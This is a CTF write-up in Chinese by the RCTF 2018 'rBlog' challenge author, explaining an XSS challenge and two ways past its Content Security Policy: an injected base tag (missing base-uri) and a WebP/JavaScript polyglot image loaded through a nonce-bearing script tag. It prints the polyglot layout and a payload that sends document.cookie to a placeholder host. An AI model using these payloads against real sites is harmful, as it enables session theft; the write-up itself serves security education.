RCTF 2018 rBlog writeup

发表于 2018 年 5 月 22 日

rBlog 提供了一个可以创建文章的表单,表单包括文章标题、内容和可选的页面样式,还可以上传一张图片。题目描述让我们拿到 Cookie,所以很明显这是一道 XSS 题。

经过简单的测试,不难发现标题处可以插入任意 HTML 标签,并且用于指定页面样式的“effect”参数也没有任何转义就被拼接输出在 script 标签的 src 中。

我们把 CSP 放到 https://csp-evaluator.withgoogle.com/ 看看评估结果

鲜红的 base-uri [missing] 就是这题的非预期解法。直到 NeSE 的 @MagicBlueCH 看到 flag 里的“webp”来问我是不是忘了设置 base-uri,我才知道 base-uri 不会用 default-src 作为 fallback …

所以只需要在标题中插入 base 标签,指向自己的服务器,就可以加载任意 js 了。

下面说说预期的解法。script-src 只有随机的 nonce,而我们可控的“effect”参数恰好是输出在有合法 nonce 的 script 标签上。如果我们上传一张可以作为 js 解析的图片,然后通过 ../../../upload/images/img.jpg? 来引用它呢?

上传一张 png 图片,然后在 effect 里引用他,得到这样的结果

Chrome 根据 Response header 里的 Content-Type 认为这是个图片文件,不应该在 script 标签中被引用。然而在这个 docker 起的 php:5-apache 里,无论是/etc/apache2/mods-enabled/mime.conf 还是 /etc/mime.types,都找不到 webp 的身影。所以现在要构造一个 webp + js 的 polyglot,来执行任意 js 代码。是不是听上去有点熟悉?确实有点像 PlaidCTF 2018 的 idIoT:Action

构造 wav,可以参考这个 pdf。虽然这个 repo 里没有 webp,但我们有详细的官方文档 WebP Container Specification 可以参考。

下图我构造的 PoC,文件大小是 0x2F2A (/*),虽然不符合 File size 必须是偶数的规范,但是它确实能通过 php 的 imagecreatefromwebp() 不引发 Fatal error。

如果你太过于遵守规则,把 File size 设置成 0x202F2A ({space}/*),那这个 2.6MB 的文件中间就会存在几十个 2A 2F (*/) 把注释闭合。

接着,你就可以在文件尾部的 EXIF 区块闭合前面的注释,让它成为合法的 js 文件。

RIFF/*JUNK DATA
JUNK DATA
JUNK DATA
JUNK DATA*/=alert(document.cookie)//JUNK DATA

check my PoC here: http://rblog.2018.teamrois.cn/blog.php/4c2150422dadf697038ce0a06702c098e5fc6e98

要拿到 cookie,执行 RIFF=1; location='//example.com/?'+document.cookie 即可。

参考: